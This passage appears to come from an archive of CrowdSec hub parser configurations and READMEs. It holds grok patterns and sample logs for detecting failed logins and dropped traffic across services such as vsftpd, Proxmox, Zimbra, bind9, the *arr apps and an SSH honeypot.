"Parse VSFTPD logs" filter: "evt.Parsed.program == 'vsftpd'" #debug: true pattern_syntax: # Custom grok for some versions that add an extra space before single digit monthday # Not perfect because extra ,spaces are not trimmed in resulting 'timestamp' capture CUSTOM_HTTPDERROR_DATE: '%{DAY} %{MONTH} (?:\s?)%{MONTHDAY} %{TIME} %{YEAR}' FTP_AUTH_FAIL: '%{CUSTOM_HTTPDERROR_DATE:timestamp} \[pid %{NUMBER}\] \[%{GREEDYDATA:user}\] FAIL LOGIN: Client "(::ffff:)?%{IP:source_ip}"' FTP_DENIED_USER: '%{CUSTOM_HTTPDERROR_DATE:timestamp} \[pid %{NUMBER}\] \[%{GREEDYDATA:user}\] FTP response: Client "(::ffff:)?%{IP:source_ip}", "530 Permission denied."' nodes: - grok: pattern: "%{FTP_AUTH_FAIL}" apply_on: message - grok: pattern: "%{FTP_DENIED_USER}" apply_on: message statics: - meta: program value: vsftpd - meta: log_type value: ftp_failed_auth - meta: source_ip expression: "evt.Parsed.source_ip" - meta: user expression: "evt.Parsed.user" - target: evt.StrTime expression: evt.Parsed.timestamp - target: evt.StrTimeFormat value: "Mon Jan _2 15:04:05 2006" hub1/parsers/s01-parse/crowdsecurity/windows-auth.md000066400000000000000000000001741437532772500230110ustar00rootroot00000000000000A parser for windows auth events read from the events log. Only accepts events with from the Security channel with ID 4625.hub1/parsers/s01-parse/crowdsecurity/windows-auth.yaml000066400000000000000000000010001437532772500233400ustar00rootroot00000000000000onsuccess: next_stage #debug: true filter: "evt.Parsed.Channel == 'Security' && evt.Parsed.EventID == '4625'" name: crowdsecurity/windows-auth description: "Parse windows authentication failure events (id 4625)" statics: - meta: source_ip expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='IpAddress']") - meta: username expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='TargetUserName']") - meta: log_type value: windows_failed_authhub1/parsers/s01-parse/crowdsecurity/windows-firewall-logs.md000066400000000000000000000011701437532772500246140ustar00rootroot00000000000000 A parser for windows firewall logs. This only handles logs that contains both `DROP` and `RECEIVE` to avoid false positives for outgoing traffic or logging for successful connections. You need to enable logging for dropped packets (off by default): https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-firewall/configure-the-windows-firewall-log Format is: ``` #Fields: date time action protocol src-ip dst-ip src-port dst-port size tcpflags tcpsyn tcpack tcpwin icmptype icmpcode info path pid 2022-01-31 12:24:51 DROP TCP 192.168.9.163 192.168.9.212 63619 445 64 S 1031365855 0 65535 - - - RECEIVE 4 ```hub1/parsers/s01-parse/crowdsecurity/windows-firewall-logs.yaml000066400000000000000000000012671437532772500251650ustar00rootroot00000000000000onsuccess: next_stage filter: "evt.Parsed.program == 'windows-firewall' and evt.Parsed.message contains ' DROP TCP ' and evt.Parsed.message contains ' RECEIVE'" name: crowdsecurity/windows-firewall-logs description: "Parse windows firewall drop logs" grok: pattern: "%{TIMESTAMP_ISO8601:date} DROP TCP %{IP:src_ip} %{IP:dst_ip} %{INT:src_port} %{INT:dst_port} %{INT:size} %{WORD:flags} %{INT:tcpsyn} %{INT:tcpack} %{INT:window} - - - RECEIVE( %{INT:pid})?" apply_on: message statics: - meta: service value: tcp - meta: log_type value: iptables_drop - meta: source_ip expression: "evt.Parsed.src_ip" - target: evt.StrTime expression: evt.Parsed.date hub1/parsers/s01-parse/firewallservices/000077500000000000000000000000001437532772500204775ustar00rootroot00000000000000hub1/parsers/s01-parse/firewallservices/lemonldap-ng.md000066400000000000000000000002011437532772500233670ustar00rootroot00000000000000Parses Lemonldap::NG logs and detects failed authentication. Only working if using an LDAP or AD authentication backend for now. hub1/parsers/s01-parse/firewallservices/lemonldap-ng.yaml000066400000000000000000000012021437532772500237330ustar00rootroot00000000000000filter: "evt.Parsed.program in ['LLNG','lemonldap-ng']" name: firewall-services/lemonldap-ng-logs description: "Parse Lemonldap::NG logs" onsuccess: next_stage #debug: true nodes: - grok: pattern: (\[warn\]|Lemonldap::NG :) %{USERNAME:user} was not found in LDAP directory \(%{IP:src_ip}\) apply_on: message - grok: pattern: (\[warn\]|Lemonldap::NG :) Bad password for %{USERNAME:user} \(%{IP:src_ip}\) apply_on: message statics: - meta: service value: llng - meta: user expression: "evt.Parsed.user" - meta: log_type value: llng_auth_fail - meta: source_ip expression: "evt.Parsed.src_ip" hub1/parsers/s01-parse/firewallservices/pf-logs.md000066400000000000000000000002101437532772500223610ustar00rootroot00000000000000This will parse your packet filter logs. Tested with PfSense, sending its log to a remote syslog server, where crowdsec can parse them. hub1/parsers/s01-parse/firewallservices/pf-logs.yaml000066400000000000000000000026771437532772500227460ustar00rootroot00000000000000filter: "evt.Parsed.program == 'filterlog' or evt.Parsed.message matches '^filterlog:'" name: firewallservices/pf-logs description: "Parse packet filter logs" format: 2.0 pattern_syntax: PF_UDP_DATA: '%{INT:src_port},%{INT:dst_port},%{INT:data_length}' PF_TCP_DATA: '%{PF_UDP_DATA},%{WORD:tcp_flags},%{INT:sequence_number},%{INT:ack_number},%{INT:tcp_window},%{DATA:urg_data},%{DATA:tcp_options}' PF_PROTOCOL_DATA: '(%{PF_TCP_DATA}|%{PF_UDP_DATA})' PF_IP_DATA: '%{INT:length},%{IP:src_ip},%{IP:dst_ip},' PF_IPv4_DATA: '%{BASE16NUM:ip4_tos},,%{INT:ip4_ttl},%{INT:ip4_id},%{INT:ip4_offset},%{WORD:ip4_flags},%{INT:ip4_proto_id},%{WORD:ip4_proto},' PF_IPv6_DATA: '%{BASE16NUM:ip6_class},%{DATA:ip6_flow_label},%{INT:ip6_hop_limit},%{WORD:ip6_proto},%{INT:ip6_proto_id},' PF_IP_SPECIFIC_DATA: '(%{PF_IPv4_DATA}|%{PF_IPv6_DATA})' PF_LOG_DATA: '%{INT:rule},(%{INT:sub_rule})?,,%{INT:tracker},%{DATA:iface},%{WORD:reason},%{WORD:action},%{WORD:direction},%{INT:ip_ver},' PF_FILTERLOG: '%{PF_LOG_DATA}%{PF_IP_SPECIFIC_DATA}%{PF_IP_DATA}%{PF_PROTOCOL_DATA}' grok: pattern: "%{PF_FILTERLOG}" apply_on: message statics: - meta: log_type value: pf --- filter: "evt.Meta.log_type == 'pf' and evt.Parsed.action == 'block'" name: firewallservices/pf-logs-drop description: "Identify dropped packets" onsuccess: next_stage statics: - meta: service value: tcp - meta: log_type value: pf_drop - meta: source_ip expression: "evt.Parsed.src_ip" hub1/parsers/s01-parse/firewallservices/zimbra-logs.md000066400000000000000000000007241437532772500232520ustar00rootroot00000000000000Zimbra failed authentication parser. To use it, you should add an acquisition like ```yaml --- filenames: - /opt/zimbra/log/mailbox.log labels: type: zimbra ``` Note that if you run Zimbra on several servers : - Acquisition should be done on the mailbox servers - You should set zimbraMailTrustedIP to the list of IP of your Zimbra proxy to ensure the original client IP will appear in the logs. For example: ```bash zmprov mcf +zimbraMailTrustedIP 10.30.1.13 ``` hub1/parsers/s01-parse/firewallservices/zimbra-logs.yaml000066400000000000000000000024661437532772500236210ustar00rootroot00000000000000filter: "evt.Parsed.program startsWith 'zimbra'" onsuccess: next_stage #debug: true name: firewallservices/zimbra-logs description: "Parse zimbra authentication failures" nodes: - grok: pattern: '%{TIMESTAMP_ISO8601:time_local}:[0-9]+,.*%{WORD:proto}://%{HOSTNAME:server}:%{INT:port}/service/admin/soap/(AuthRequest)?\] \[.*oip=%{IP:src_ip}.*\] SoapEngine - handler exception: authentication failed for \[%{NGUSER:user}\]' apply_on: message statics: - target: evt.StrTime expression: evt.Parsed.time_local - grok: pattern: '%{TIMESTAMP_ISO8601:time_local}:[0-9]+,.*%{WORD:proto}://%{HOSTNAME:server}:%{INT:port}/service/admin/soap/(AuthRequest)?\] \[.*name=%{NGUSER:user}.*oip=%{IP:src_ip}.*\] SoapEngine - handler exception' apply_on: message statics: - target: evt.StrTime expression: evt.Parsed.time_local - grok: pattern: '%{TIMESTAMP_ISO8601:time_local}:[0-9]+,.*\[.*oip=%{IP:src_ip}.*\] imap - authentication failed for \[%{NGUSER:user}\]' apply_on: message statics: - target: evt.StrTime expression: evt.Parsed.time_local statics: - meta: service value: zimbra - meta: log_type value: zimbra_auth_fail - meta: source_ip expression: "evt.Parsed.src_ip" - meta: user expression: "evt.Parsed.user" hub1/parsers/s01-parse/fulljackz/000077500000000000000000000000001437532772500171135ustar00rootroot00000000000000hub1/parsers/s01-parse/fulljackz/proxmox-logs.md000066400000000000000000000101361437532772500221140ustar00rootroot00000000000000# Description A simple parser for Proxmox VE Web interface. Proxmox VE is listening on port 8006/tcp and write ssh fails into syslog # Logs - Error ``` Jan 4 17:34:08 hypervisor pvedaemon[3663339]: authentication failure; rhost=::ffff:172.21.10.2 user=toor@pam msg=no such user ('toor@pam') Jan 4 17:34:22 hypervisor pvedaemon[3483744]: authentication failure; rhost=::ffff:172.21.10.2 user=root@pam msg=Authentication failure ``` > In the first string, the user does not exist. > In the second user exists but auth fail. - Success ``` Jan 4 17:34:27 hypervisor pvedaemon[2891825]: successful auth for user 'root@pam' ``` # To be done - ? # Explain output - Proxmox-logs parser is used only for authentication failures. ``` line: Jan 4 17:34:08 hypervisor pvedaemon[3663339]: authentication failure; rhost=::ffff:172.21.10.2 user=toor@pam msg=no such user ('toor@pam') ├ s00-raw | └ 🟢 crowdsecurity/syslog-logs (first_parser) ├ s01-parse | └ 🟢 fulljackz/proxmox-logs (+8) ├-------- parser success 🟢 ├ Scenarios └ 🟢 fulljackz/proxmox-bf line: Jan 4 17:34:01 hypervisor pvedaemon[3663339]: authentication failure; rhost=::ffff:172.21.10.2 user=toor@pam msg=no such user ('toor@pam') ├ s00-raw | └ 🟢 crowdsecurity/syslog-logs (first_parser) ├ s01-parse | └ 🟢 fulljackz/proxmox-logs (+8) ├-------- parser success 🟢 ├ Scenarios └ 🟢 fulljackz/proxmox-bf line: Jan 4 17:34:08 hypervisor pvedaemon[3663339]: authentication failure; rhost=::ffff:172.21.10.2 user=toor@pam msg=no such user ('toor@pam') ├ s00-raw | └ 🟢 crowdsecurity/syslog-logs (first_parser) ├ s01-parse | └ 🟢 fulljackz/proxmox-logs (+8) ├-------- parser success 🟢 ├ Scenarios └ 🟢 fulljackz/proxmox-bf line: Jan 4 17:34:07 hypervisor pvedaemon[3483744]: authentication failure; rhost=::ffff:172.21.10.2 user=root@pam msg=Authentication failure ├ s00-raw | └ 🟢 crowdsecurity/syslog-logs (first_parser) ├ s01-parse | └ 🟢 fulljackz/proxmox-logs (+8) ├-------- parser success 🟢 ├ Scenarios └ 🟢 fulljackz/proxmox-bf line: Jan 4 17:34:08 hypervisor pvedaemon[2891825]: successful auth for user 'root@pam' ├ s00-raw | └ 🟢 crowdsecurity/syslog-logs (first_parser) ├ s01-parse | └ 🔴 fulljackz/proxmox-logs └-------- parser failure 🔴 line: Jan 4 17:34:08 hypervisor pvedaemon[3663339]: authentication failure; rhost=::ffff:172.21.10.2 user=toor@pam msg=no such user ('toor@pam') ├ s00-raw | └ 🟢 crowdsecurity/syslog-logs (first_parser) ├ s01-parse | └ 🟢 fulljackz/proxmox-logs (+8) ├-------- parser success 🟢 ├ Scenarios └ 🟢 fulljackz/proxmox-bf line: Jan 4 17:34:11 hypervisor pvedaemon[2891825]: successful auth for user 'root@pam' ├ s00-raw | └ 🟢 crowdsecurity/syslog-logs (first_parser) ├ s01-parse | └ 🔴 fulljackz/proxmox-logs └-------- parser failure 🔴 line: Jan 4 17:34:12 hypervisor pvedaemon[3483744]: authentication failure; rhost=::ffff:172.21.10.2 user=root@pam msg=Authentication failure ├ s00-raw | └ 🟢 crowdsecurity/syslog-logs (first_parser) ├ s01-parse | └ 🟢 fulljackz/proxmox-logs (+8) ├-------- parser success 🟢 ├ Scenarios └ 🟢 fulljackz/proxmox-bf line: Jan 4 17:34:13 hypervisor pvedaemon[2891825]: successful auth for user 'root@pam' ├ s00-raw | └ 🟢 crowdsecurity/syslog-logs (first_parser) ├ s01-parse | └ 🔴 fulljackz/proxmox-logs └-------- parser failure 🔴 line: Jan 4 17:34:02 hypervisor pvedaemon[3483744]: authentication failure; rhost=::ffff:172.21.10.2 user=root@pam msg=Authentication failure ├ s00-raw | └ 🟢 crowdsecurity/syslog-logs (first_parser) ├ s01-parse | └ 🟢 fulljackz/proxmox-logs (+8) ├-------- parser success 🟢 ├ Scenarios └ 🟢 fulljackz/proxmox-bf line: Jan 4 17:34:03 hypervisor pvedaemon[2891825]: successful auth for user 'root@pam' ├ s00-raw | └ 🟢 crowdsecurity/syslog-logs (first_parser) ├ s01-parse | └ 🔴 fulljackz/proxmox-logs └-------- parser failure 🔴 ``` hub1/parsers/s01-parse/fulljackz/proxmox-logs.yaml000066400000000000000000000017301437532772500224560ustar00rootroot00000000000000#debug: true name: fulljackz/proxmox-logs description: "Parse proxmox logs for bruteforce attempts" filter: "evt.Parsed.program == 'pvedaemon'" onsuccess: next_stage pattern_syntax: PVE_AUTH_FAIL: 'authentication failure; rhost=%{IP:client_ip} user=%{USERNAME:source_user}@%{WORD:realm} msg=Authentication failure' PVE_NOSU_USER: 'authentication failure; rhost=%{IP:client_ip} user=%{USERNAME:source_user}@%{WORD:realm} msg=no such user' nodes: - grok: name: "PVE_AUTH_FAIL" apply_on: message statics: - meta: log_type value: pve_failed-auth - meta: source_user expression: "evt.Parsed.source_user" - grok: name: "PVE_NOSU_USER" apply_on: message statics: - meta: log_type value: pve_failed-auth - meta: source_user expression: "evt.Parsed.source_user" statics: - meta: service value: pvedaemon - meta: source_ip expression: "evt.Parsed.client_ip" hub1/parsers/s01-parse/fulljackz/pureftpd-logs.md000066400000000000000000000025141437532772500222320ustar00rootroot00000000000000# Description A simple parser for Pureftpd. # Logs - Error ``` Jan 7 14:19:35 ftpcdr pure-ftpd: (?@172.21.10.2) [WARNING] Authentication failed for user [root] Jan 7 14:19:36 ftpcdr pure-ftpd: (?@172.21.10.2) [WARNING] Authentication failed for user [root] ``` - Success ``` Jan 7 14:20:06 ftpcdr pure-ftpd: (?@172.21.10.2) [INFO] user@test.com is now logged in ``` # To be done - ? # Explain output - Pureftpd-logs parser is used only for authentication failures. ``` line: Jan 7 14:20:01 ftpcdr pure-ftpd: (?@172.21.10.2) [WARNING] Authentication failed for user [root] ├ s00-raw | └ 🟢 crowdsecurity/syslog-logs (first_parser) ├ s01-parse | └ 🟢 fulljackz/pureftpd-logs (+6) ├-------- parser success 🟢 ├ Scenarios └ 🟢 fulljackz/pureftpd-bf line: Jan 7 14:20:06 ftpcdr pure-ftpd: (?@172.21.10.2) [INFO] user@test.com is now logged in ├ s00-raw | └ 🟢 crowdsecurity/syslog-logs (first_parser) ├ s01-parse | └ 🔴 fulljackz/pureftpd-logs └-------- parser failure 🔴 line: Jan 7 14:19:31 ftpcdr pure-ftpd: (?@172.21.10.2) [WARNING] Authentication failed for user [root] ├ s00-raw | └ 🟢 crowdsecurity/syslog-logs (first_parser) ├ s01-parse | └ 🟢 fulljackz/pureftpd-logs (+6) ├-------- parser success 🟢 ├ Scenarios └ 🟢 fulljackz/pureftpd-bf ``` hub1/parsers/s01-parse/fulljackz/pureftpd-logs.yaml000066400000000000000000000011471437532772500225750ustar00rootroot00000000000000#debug: true name: fulljackz/pureftpd-logs description: "Parse pureftpd logs for bruteforce attempts" filter: "evt.Parsed.program == 'pure-ftpd'" onsuccess: next_stage pattern_syntax: PFTPD_AUTH_FAIL: '\(?@%{IP:client_ip}\) \[WARNING\] Authentication failed for user \[%{WORD:user}\]' nodes: - grok: name: "PFTPD_AUTH_FAIL" apply_on: message statics: - meta: log_type value: pftpd_failed-auth - meta: source_user expression: "evt.Parsed.user" statics: - meta: service value: pureftpd - meta: source_ip expression: "evt.Parsed.client_ip" hub1/parsers/s01-parse/hitech95/000077500000000000000000000000001437532772500165505ustar00rootroot00000000000000hub1/parsers/s01-parse/hitech95/nginx-mail-logs.md000066400000000000000000000003751437532772500221040ustar00rootroot00000000000000## Nginx Email Proxy parser A generic parser for `ngx_mail_core` module: - Detect new session - Detect auth failures when using `ngx_mail_auth_http_module` ## Acquisition template ```yaml filenames: - /var/log/nginx/*.log labels: type: nginx ```hub1/parsers/s01-parse/hitech95/nginx-mail-logs.yaml000066400000000000000000000037221437532772500224450ustar00rootroot00000000000000filter: "evt.Parsed.program startsWith 'nginx'" onsuccess: next_stage name: hitech95/nginx-mail-logs description: "Parse Nginx Mail logs" pattern_syntax: NO_DOUBLE_QUOTE: '[^"]+' nodes: - grok: pattern: '%{NGINXERRTIME:time} \[%{LOGLEVEL:loglevel}\] %{NONNEGINT:pid}#%{NONNEGINT:tid}: (\*%{NONNEGINT:cid} )?client %{IPORHOST:remote_addr}:%{POSINT:remote_port} connected to %{IPORHOST:dest_ip}:%{POSINT:dest_port}' apply_on: message statics: - meta: log_type value: "mail_new_session" - target: evt.StrTime expression: evt.Parsed.time - grok: pattern: '%{NGINXERRTIME:time} \[%{LOGLEVEL:loglevel}\] %{NONNEGINT:pid}#%{NONNEGINT:tid}: (\*%{NONNEGINT:cid} )?%{GREEDYDATA:message}, client: %{IPORHOST:remote_addr}, server: %{IPORHOST:dest_ip}:%{POSINT:dest_port}(, login: "%{NO_DOUBLE_QUOTE:username}")?(, upstream: %{IPORHOST:proxy_ip}:%{POSINT:proxy_port})?' apply_on: message filter: "evt.Parsed.message contains 'client '" statics: - target: evt.StrTime expression: evt.Parsed.time - meta: username expression: evt.Parsed.username - meta: log_type value: "mail_auth" nodes: - filter: "evt.Parsed.message contains 'logged in'" statics: - meta: sub_type value: "auth_success" - filter: "evt.Parsed.message contains 'login failed'" pattern_syntax: MAIL_HTTP_AUTH: 'client login failed: "%{NO_DOUBLE_QUOTE:auth_result}" while' grok: pattern: '%{MAIL_HTTP_AUTH}' apply_on: message statics: - meta: sub_type value: "auth_fail" - meta: auth_result expression: evt.Parsed.auth_result # these ones apply for both grok patterns statics: - meta: service value: mail - meta: source_ip expression: "evt.Parsed.remote_addr" - meta: dest_ip expression: "evt.Parsed.dest_ip" - meta: dest_port expression: "evt.Parsed.dest_port" hub1/parsers/s01-parse/jusabatier/000077500000000000000000000000001437532772500172575ustar00rootroot00000000000000hub1/parsers/s01-parse/jusabatier/apereo-cas-audit-logs.md000066400000000000000000000017561437532772500236770ustar00rootroot00000000000000Use Apereo CAS audit logs : https://apereo.github.io/cas/6.4.x/audits/Audits-File.html Need to : * ativate `cas.audit.slf4j.use-single-line=true` in CAS configuration * add cas_audit.log generated file to CrowdSec aquisitions Sample log4j config : ```xml [...] [...] [...] ``` hub1/parsers/s01-parse/jusabatier/apereo-cas-audit-logs.yaml000066400000000000000000000024761437532772500242410ustar00rootroot00000000000000onsuccess: next_stage #debug: true filter: "evt.Parsed.program == 'cas'" name: jusabatier/apereo-cas-audit-logs description: "Parse apereo CAS Audits logs" pattern_syntax: # The IP grok pattern that ships with crowdsec is buggy and does not capture the last digit of an IP if it is the last thing it matches, and the last octet starts with a 2 # https://github.com/crowdsecurity/crowdsec/issues/938 IPv4_WORKAROUND: (?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?) IP_WORKAROUND: (?:%{IPV6}|%{IPv4_WORKAROUND}) SECOND_WORKAROUND: '(?:[0-5]?[0-9]|60)?' TIMESTAMP_WORKAROUND: '%{YEAR}-%{MONTHNUM}-%{MONTHDAY}[T ]%{HOUR}:?%{MINUTE}(?::?%{SECOND_WORKAROUND})?%{ISO8601_TIMEZONE}?' CAS_AUTH_FAIL: '^%{TIMESTAMP_WORKAROUND:time}(?:,\d+)? %{LOGLEVEL:loglevel} \[%{DATA:threadname}\] - (.*)\|CAS\|(.*)\|AUTHENTICATION_FAILED\|%{USERNAME:cas_invalid_user}\|%{IP_WORKAROUND:cas_client_ip}\|(.*)$' nodes: - grok: name: "CAS_AUTH_FAIL" apply_on: message statics: - meta: log_type value: cas_failed-auth - meta: target_user expression: "evt.Parsed.cas_invalid_user" - target: evt.StrTime expression: evt.Parsed.time statics: - meta: service value: cas - meta: source_ip expression: "evt.Parsed.cas_client_ip" hub1/parsers/s01-parse/lourys/000077500000000000000000000000001437532772500164635ustar00rootroot00000000000000hub1/parsers/s01-parse/lourys/pterodactyl-wings-logs.md000066400000000000000000000001311437532772500234210ustar00rootroot00000000000000Parser for pterodactyl wings logs (parse only failed authentication logs for the moment).hub1/parsers/s01-parse/lourys/pterodactyl-wings-logs.yaml000066400000000000000000000020421437532772500237660ustar00rootroot00000000000000name: lourys/pterodactyl-wings-logs description: "Parse Pterodactyl wings logs" filter: "evt.Parsed.program == 'pterodactyl'" debug: false onsuccess: next_stage nodes: - grok: pattern: '^WARN: \[%{DATA:time}\] failed to validate user credentials \(invalid format\) ip=%{IPORHOST:source_ip}:%{NUMBER:source_port} subsystem=sftp username=%{USERNAME:username}$' apply_on: message statics: - meta: log_type value: pterodactly_wings_invalid_format - grok: pattern: '^WARN: \[%{DATA:time}\] failed to validate user credentials \(invalid username or password\) ip=%{IPORHOST:source_ip}:%{NUMBER:source_port} subsystem=sftp username=%{USERNAME:username}$' apply_on: message statics: - meta: log_type value: pterodactly_wings_invalid_username_or_password statics: - meta: service value: pterodactyl - meta: source_ip expression: evt.Parsed.source_ip - meta: target_user expression: evt.Parsed.username - target: evt.StrTime expression: evt.Parsed.timehub1/parsers/s01-parse/mstilkerich/000077500000000000000000000000001437532772500174445ustar00rootroot00000000000000hub1/parsers/s01-parse/mstilkerich/bind9-logs.md000066400000000000000000000011211437532772500217300ustar00rootroot00000000000000This bind9 parser supports logs in separate bind9 log files as well as syslog entries. When logging to separate bind9 log files directly with bind9, the `print-time` setting should be enabled, otherwise no timestamp will be available. This parser currently detects the following security events of bind9: - Zone transfer request denied by security policy - Queries denied by security policy To configure data acquisition from a bind9 log file, set the `type` to `named`: ```yaml --- filenames: - /var/log/named/security.log labels: type: named ``` Inspired by fail2ban named-refused. hub1/parsers/s01-parse/mstilkerich/bind9-logs.yaml000066400000000000000000000031541437532772500223020ustar00rootroot00000000000000--- filter: "Upper(evt.Parsed.program) == 'NAMED'" #debug: true onsuccess: next_stage pattern_syntax: BIND9_TIMESTAMP_DATE: '%{MONTHDAY:ts_d}-%{MONTH:ts_m}-%{YEAR:ts_y}' BIND9_TIMESTAMP_TIMEMS: '\d{3}' BIND9_TIMESTAMP_TIME: '%{TIME:ts_t}\.%{BIND9_TIMESTAMP_TIMEMS:ts_ms}' BIND9_TIMESTAMP: '%{BIND9_TIMESTAMP_DATE} %{BIND9_TIMESTAMP_TIME}' # categories: security, client, update-security, etc. BIND9_CATEGORY: '[a-z]+' BIND9_SEVERITY: '[a-z]+' BIND9_PREFIX: '^(%{BIND9_TIMESTAMP:timestamp} )?(%{BIND9_CATEGORY}: )?(%{BIND9_SEVERITY}: )?client @0x[0-9a-fA-F]+ %{IP:remote_addr}#%{POSINT:remote_port}.*: ' name: mstilkerich/bind9 description: "Parse bind9 logs" nodes: # When multiple grok patterns are specified, only the first matching one is applied - grok: pattern: '^%{BIND9_PREFIX}zone transfer .* (?:denied|\(NOTAUTH\))\s*$' apply_on: message - grok: pattern: '^%{BIND9_PREFIX}bad zone transfer request: ''\S+/IN'': non-authoritative zone (?:denied|\(NOTAUTH\))\s*$' apply_on: message - grok: pattern: '^%{BIND9_PREFIX}(?:view (?:internal|external): )?query(?: \(cache\))? .* (?:denied|\(NOTAUTH\))\s*$' apply_on: message statics: - meta: service value: bind9 - meta: log_type value: bind9_denied - meta: source_ip expression: "evt.Parsed.remote_addr" - target: evt.StrTime # convert time format for dateparse-enrich expression: " {Jan:'01',Feb:'02',Mar:'03',Apr:'04',May:'05',Jun:'06',Jul:'07',Aug:'08',Sep:'09',Oct:'10',Nov:'11',Dec:'12'}[evt.Parsed.ts_m] + '/' + evt.Parsed.ts_d + '/' + evt.Parsed.ts_y + ' ' + evt.Parsed.ts_t" hub1/parsers/s01-parse/schiz0phr3ne/000077500000000000000000000000001437532772500174465ustar00rootroot00000000000000hub1/parsers/s01-parse/schiz0phr3ne/prowlarr-logs.md000066400000000000000000000003431437532772500226020ustar00rootroot00000000000000Parser for [Prowlarr](https://github.com/Prowlarr/Prowlarr) Logs. ```yaml --- source: file filenames: - /var/log/syslog labels: type: syslog --- source: file filenames: - /var/log/prowlarr.txt labels: type: Prowlarr ``` hub1/parsers/s01-parse/schiz0phr3ne/prowlarr-logs.yaml000066400000000000000000000017151437532772500231500ustar00rootroot00000000000000onsuccess: next_stage filter: "evt.Parsed.program == 'Prowlarr'" name: schiz0phr3ne/prowlarr-logs description: "Parse Prowlarr Logs" pattern_syntax: DATE_YMD: "%{YEAR:year}-%{MONTHNUM:month}-%{MONTHDAY:day}" nodes: - grok: pattern: '^\[Warn\] Auth: Auth-Failure ip %{IP:source_ip} username %{DATA:username}$' apply_on: message - grok: pattern: "%{DATE_YMD:date} %{TIME:time}\\|%{WORD:log_level}\\|Auth\\|Auth-Failure ip %{IPORHOST:source_ip} username '%{NOTDQUOTE:username}'" apply_on: message statics: - target: evt.Parsed.timestamp expression: "evt.Parsed.date + ' ' + evt.Parsed.time" onsuccess: next_stage statics: - meta: log_type value: prowlarr_failed_authentication - meta: service value: prowlarr - meta: source_ip expression: "evt.Parsed.source_ip" - target: evt.StrTime expression: "evt.Parsed.timestamp" - meta: username expression: evt.Parsed.username hub1/parsers/s01-parse/schiz0phr3ne/radarr-logs.md000066400000000000000000000003311437532772500222020ustar00rootroot00000000000000Parser for [Radarr](https://github.com/Radarr/Radarr) Logs. ```yaml --- source: file filenames: - /var/log/syslog labels: type: syslog --- source: file filenames: - /var/log/radarr.txt labels: type: Radarr ``` hub1/parsers/s01-parse/schiz0phr3ne/radarr-logs.yaml000066400000000000000000000017361437532772500225560ustar00rootroot00000000000000onsuccess: next_stage filter: "evt.Parsed.program == 'Radarr'" name: schiz0phr3ne/radarr-logs description: "Parse Radarr Logs" pattern_syntax: DATE_YMD: "%{YEAR:year}-%{MONTHNUM:month}-%{MONTHDAY:day}" nodes: - grok: pattern: '^\[Warn\] Auth: Auth-Failure ip %{IP:source_ip} username %{DATA:username}$' apply_on: message onsuccess: next_stage - grok: pattern: "%{DATE_YMD:date} %{TIME:time}\\|%{WORD:log_level}\\|Auth\\|Auth-Failure ip %{IPORHOST:source_ip} username '%{NOTDQUOTE:username}'" apply_on: message statics: - target: evt.Parsed.timestamp expression: "evt.Parsed.date + ' ' + evt.Parsed.time" onsuccess: next_stage statics: - meta: service value: radarr - meta: source_ip expression: "evt.Parsed.source_ip" - target: evt.StrTime expression: "evt.Parsed.timestamp" - meta: username expression: evt.Parsed.username - meta: log_type value: radarr_failed_authentication hub1/parsers/s01-parse/schiz0phr3ne/sonarr-logs.md000066400000000000000000000003311437532772500222330ustar00rootroot00000000000000Parser for [Sonarr](https://github.com/Sonarr/Sonarr) Logs. ```yaml --- source: file filenames: - /var/log/syslog labels: type: syslog --- source: file filenames: - /var/log/sonarr.txt labels: type: Sonarr ``` hub1/parsers/s01-parse/schiz0phr3ne/sonarr-logs.yaml000066400000000000000000000017161437532772500226050ustar00rootroot00000000000000onsuccess: next_stage filter: "evt.Parsed.program in ['mono', 'Sonarr']" name: schiz0phr3ne/sonarr-logs description: "Parse Sonarr Logs" pattern_syntax: DATE_YMD: "%{YEAR:year}-%{MONTHNUM:month}-%{MONTHDAY:day}" nodes: - grok: pattern: '^\[Warn\] Auth: Auth-Failure ip %{IP:source_ip} username %{DATA:username}$' apply_on: message - grok: pattern: "%{DATE_YMD:date} %{TIME:time}\\|%{WORD:log_level}\\|Auth\\|Auth-Failure ip %{IPORHOST:source_ip} username '%{NOTDQUOTE:username}'" apply_on: message statics: - target: evt.Parsed.timestamp expression: "evt.Parsed.date + ' ' + evt.Parsed.time" onsuccess: next_stage statics: - meta: log_type value: sonarr_failed_authentication - meta: service value: sonarr - meta: source_ip expression: "evt.Parsed.source_ip" - target: evt.StrTime expression: "evt.Parsed.timestamp" - meta: username expression: evt.Parsed.username hub1/parsers/s01-parse/thespad/000077500000000000000000000000001437532772500165565ustar00rootroot00000000000000hub1/parsers/s01-parse/thespad/sshesame-logs.md000066400000000000000000000003551437532772500216550ustar00rootroot00000000000000# sshesame parser A parser for [sshesame](https://github.com/jaksi/sshesame/) honeypot logs. ## Acquisition template Example acquisition for this collection : ```yaml filenames: - /var/log/sshesame.log labels: type: sshesame ``` hub1/parsers/s01-parse/thespad/sshesame-logs.yaml000066400000000000000000000036031437532772500222160ustar00rootroot00000000000000onsuccess: next_stage filter: "evt.Parsed.program == 'sshesame'" name: thespad/sshesame-logs description: "Parse sshesame logs" pattern_syntax: SSHESAME_TIMESTAMP: '%{DATE_X} %{TIME}' SSHESAME_LOGIN_PASSWD: '%{SSHESAME_TIMESTAMP:timestamp} \[%{IP:source_ip}:\d+\] authentication for user "%{USERNAME:sshesame_user}" with password "%{GREEDYDATA:sshesame_password}" accepted' SSHESAME_LOGIN_PUBKEY: '%{SSHESAME_TIMESTAMP:timestamp} \[%{IP:source_ip}:\d+\] authentication for user "%{USERNAME:sshesame_user}" with public key "%{GREEDYDATA:sshesame_pubkey}" accepted' SSHESAME_CMD: '%{SSHESAME_TIMESTAMP:timestamp} \[%{IP:source_ip}:\d+\] \[channel \d+\] command "%{GREEDYDATA:sshesame_cmd}" requested' SSHESAME_INPUT: '%{SSHESAME_TIMESTAMP:timestamp} \[%{IP:source_ip}:\d+\] \[channel \d+\] input: "%{GREEDYDATA:sshesame_input}"' nodes: - grok: name: "SSHESAME_LOGIN_PASSWD" apply_on: message statics: - meta: log_type value: sshesame_login - meta: target_user expression: "evt.Parsed.sshesame_user" - grok: name: "SSHESAME_LOGIN_PUBKEY" apply_on: message statics: - meta: log_type value: sshesame_login - meta: 